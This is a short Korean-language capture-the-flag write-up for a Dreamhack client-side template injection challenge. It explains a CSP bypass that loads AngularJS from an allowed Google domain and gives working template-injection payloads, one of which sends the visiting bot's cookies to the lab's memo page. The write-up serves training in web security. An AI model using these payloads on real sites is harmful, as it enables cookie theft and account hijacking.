LEVEL 2: Client Side Template Injection

https://dreamhack.io/wargame/challenges/437

CSTI를 활용하여 문제를 풀어야 한다.


CSP가 설정되어 있다. 자바스크립트에 대한 보안 설정인 “script-src”를 보면 nonce 설정, eval 사용 가능, ajax.googleapis.com 도메인은 로드 가능으로 설정되어 있다.


ajax.googleapis.com 도메인을 허용하여 웹 프레임워크를 로드할 수 있다. 난 웹 프레임워크를 잘 모르지만 간단히 예시와 함께 설명하겠다.

https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js&#8221; 이 도메인을 <script> 태그의 src 속성으로 로드하면 AngularJS 기능을 사용할 수 있다. 아래의 예시 코드를 사진으로 올렸다. 9라인부터 12라인까지를 제외하고 나머지는 VSCode에서 ! 입력 후 탭 키를 누르면 자동으로 생성된다.


9 라인부터 12라인까지의 코드가 AngularJS를 로드하고 사용한 코드다. {{ }}로 묶인 1+2가 연산되어 화면에 3이 출력된다.


다시 문제로 돌아와 CSP의 “script-src”가 ajax.googleapis.com은 허용해주므로 AngularJS 기능을 이용할 수 있다. /vuln 페이지에서 이를 테스트해본다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{constructor.constructor("alert(1)")()}}</html>


이제 /flag 페이지에서 웹 봇에게 페이로드를 전송한다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{constructor.constructor("location.href='http://127.0.0.1:8000/memo?memo='.concat(document.cookie)")()}}</html>

Published by